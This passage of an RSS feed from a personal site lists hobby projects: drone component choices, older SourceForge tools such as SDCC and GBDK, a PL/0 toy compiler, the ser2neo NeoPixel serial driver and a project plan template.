&lt;h2 id=&#34;third-party-components&#34;&gt;Third party components&lt;/h2&gt;
&lt;p&gt;Qualities for third party components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open license&lt;/li&gt;
&lt;li&gt;Takes patches&lt;/li&gt;
&lt;li&gt;Healthy community?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;RTOS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NuttX (BSD)&lt;/li&gt;
&lt;li&gt;ChibiOS (GPLv3)&lt;/li&gt;
&lt;li&gt;TNKernel (BSD-like?)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;HAL:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ChibiOS&lt;/li&gt;
&lt;li&gt;libmaple&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Drivers and flight:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CoperControl / OpenPilot&lt;/li&gt;
&lt;li&gt;CrazyFlie&lt;/li&gt;
&lt;li&gt;Ardupilot&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Others</title>
      <link>https://juju.nz/michaelh/project/others/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/others/</guid>
      <description>&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://sdcc.sourceforge.net/&#34;&gt;SDCC&lt;/a&gt;, the Small
Device C Compiler, which can target the Intel mcs51, Zilog
Z80, Nintendo Gameboy, Intel i186, Amtel AVR, and Microchip
PIC series.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://reattore.sourceforge.net/&#34;&gt;Reattore&lt;/a&gt;, an
experiment in development methods that also happens to be a
single threaded, non-blocking Java HTTP server experiment.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://jaune.sourceforge.net/&#34;&gt;Jaune&lt;/a&gt;,
a compiler and set of libraries that can be used to
write programs in the Java language for small
devices. Includes a basic set of class libraries, garbage
collector, and set of examples that can be run on the
Nintendo GameBoy.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://janszoon.sourceforge.net/&#34;&gt;Janszoon&lt;/a&gt;,
a simple GPS client for the Palm with location and trip
information.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://gbts.sourceforge.net/&#34;&gt;GBTS&lt;/a&gt;, the
Gameboy Terminal server.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://pcemu.sourceforge.net/&#34;&gt;pcemu&lt;/a&gt;, a
portable XT level PC Emulator.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://gbdk.sourceforge.net/&#34;&gt;GBDK&lt;/a&gt;, the
Gameboy development kit.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>PL/0 implementation</title>
      <link>https://juju.nz/michaelh/project/pl0/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/pl0/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://juju.net.nz/src/pl0.git&#34;&gt;https://juju.net.nz/src/pl0.git&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A toy compiler for the 
&lt;a href=&#34;https://en.wikipedia.org/wiki/PL/0&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;PL/0&lt;/a&gt;
educational language.&lt;/p&gt;
&lt;h2 id=&#34;motivation&#34;&gt;Motivation&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve worked with compilers for a fair part of my life but have never
written one from scratch.  I decided on PL/0 after hearing about
&amp;ldquo;Algorithms + Data Structures = Programs&amp;rdquo; by Niklaus Wirth who happens
to work nearby at ETH.&lt;/p&gt;
&lt;h2 id=&#34;usage&#34;&gt;Usage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python3 -m pl0.driver [-o output.c] [source.pl0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See &lt;code&gt;Makefile&lt;/code&gt; for further rules and examples/ for examples.&lt;/p&gt;
&lt;p&gt;&amp;ndash; Michael Hope &lt;a href=&#34;mailto:mlhx@google.com&#34;&gt;mlhx@google.com&lt;/a&gt; &lt;a href=&#34;mailto:michaelh@juju.net.nz&#34;&gt;michaelh@juju.net.nz&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>ser2neo</title>
      <link>https://juju.nz/michaelh/project/ser2neo/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/ser2neo/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://juju.net.nz/src/ser2neo.git&#34;&gt;https://juju.net.nz/src/ser2neo.git&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;
&lt;p&gt;ser2neo makes it easier to drive a NeoPixel ring by
implementing the NeoPixel protocol in an ATTINY85 and
exposing it through a serial interface.&lt;/p&gt;
&lt;p&gt;Note: This is not an official Google product.&lt;/p&gt;
&lt;h2 id=&#34;hardware&#34;&gt;Hardware&lt;/h2&gt;
&lt;p&gt;This software was developed for a

&lt;a href=&#34;https://www.olimex.com/Products/Duino/AVR/OLIMEXINO-85-ASM/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OLIMEXINO-85&lt;/a&gt;
ATTINY85 USB board with a

&lt;a href=&#34;https://www.adafruit.com/products/1463&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Adafruit NeoPixel 16 ring&lt;/a&gt;.
It should work with any other

&lt;a href=&#34;http://digistump.com/products/1&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Digispark&lt;/a&gt; clone.  The
implementation is very speed and timing sensitive.  If it doesn&amp;rsquo;t
work check that PCIntDelay is correct for your CPU, clock speed, and
bootloader.&lt;/p&gt;
&lt;p&gt;Pins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PB0 is TXD&lt;/li&gt;
&lt;li&gt;PB1 is DOUT and connects to the NeoPixel DIN&lt;/li&gt;
&lt;li&gt;PB2 is RXD&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Connect the pins to a 3.3V serial interface such as the

&lt;a href=&#34;https://www.sparkfun.com/products/9717&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;FTDI serial cable&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;See &lt;code&gt;client/&lt;/code&gt; for a simple client library and demo applications.&lt;/p&gt;
&lt;h2 id=&#34;implementation&#34;&gt;Implementation&lt;/h2&gt;
&lt;p&gt;NeoPixels use a single wire, 800 kHz, non-return-to-zero
protocol.  This implementation uses Timer0 in PWM mode where each PWM
cycle is one bit.  The PWM duty is updated each cycle.&lt;/p&gt;
&lt;p&gt;The serial interface is a half duplex, command/response based
protocol that&amp;rsquo;s designed to be mildly computer friendly.  Data is
transferred at 57600,N,8,1.  Character
stuffing is used to escape the special values, which are &amp;lsquo;\r&amp;rsquo; for end
of frame and &amp;lsquo;+&amp;rsquo; for escape.&lt;/p&gt;
&lt;p&gt;The commands are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;!&lt;/code&gt; - sync.  Responds with &lt;code&gt;OK sync&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?&lt;/code&gt; - query. Responds with &lt;code&gt;OK&lt;/code&gt; followed by the system ID, version,
type, LED count, and colour order.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;l&lt;/code&gt; - set LEDs.  Followed by the LED data with three bytes per RGB
LED.  Responds with &lt;code&gt;OK&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;ndash; Michael Hope &lt;a href=&#34;mailto:michaelh@juju.net.nz&#34;&gt;michaelh@juju.net.nz&lt;/a&gt; &lt;a href=&#34;mailto:mlhx@google.com&#34;&gt;mlhx@google.com&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Templates</title>
      <link>https://juju.nz/michaelh/project/templates/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/templates/</guid>
      <description>&lt;h1 id=&#34;project-plan&#34;&gt;Project plan&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;mailto:michaelh@juju.net.nz&#34;&gt;michaelh@juju.net.nz&lt;/a&gt;  yyyy-mm-dd  &lt;a href=&#34;http://canonical-link/&#34;&gt;http://canonical-link/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;
&lt;p&gt;What is this project, and what problem is it trying to solve?&lt;/p&gt;
&lt;p&gt;Use this template as a guide.  Feel free to add and delete sections.&lt;/p&gt;
&lt;h2 id=&#34;background&#34;&gt;Background&lt;/h2&gt;
&lt;p&gt;Context that led to this project.&lt;/p&gt;
&lt;h2 id=&#34;requirements&#34;&gt;Requirements&lt;/h2&gt;
&lt;p&gt;What the project must fufill.&lt;/p&gt;
&lt;h2 id=&#34;implementation&#34;&gt;Implementation&lt;/h2&gt;
&lt;p&gt;How to achieve the requirements.  Broad strokes is fine.&lt;/p&gt;
&lt;h2 id=&#34;deliverables&#34;&gt;Deliverables&lt;/h2&gt;
&lt;p&gt;How do we know when we&amp;rsquo;re done?&lt;/p&gt;
&lt;h2 id=&#34;milestones&#34;&gt;Milestones&lt;/h2&gt;
&lt;p&gt;Chunky steps along the way&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Milestone&lt;/th&gt;
&lt;th&gt;Week&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;M1&lt;/td&gt;
&lt;td&gt;W1&lt;/td&gt;
&lt;td&gt;All foos have bars barred&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;M2&lt;/td&gt;
&lt;td&gt;W3&lt;/td&gt;
&lt;td&gt;All bazs are frobbed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;risks-and-mitigations&#34;&gt;Risks and mitigations&lt;/h2&gt;
&lt;p&gt;What are the risks, likelyhood, impact, and ways of handling them?&lt;/p&gt;
&lt;h2 id=&#34;alternatives-considered&#34;&gt;Alternatives considered&lt;/h2&gt;
&lt;p&gt;Do nothing&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;appendix&#34;&gt;Appendix&lt;/h2&gt;
</description>
    </item>
    
  </channel>
</rss>
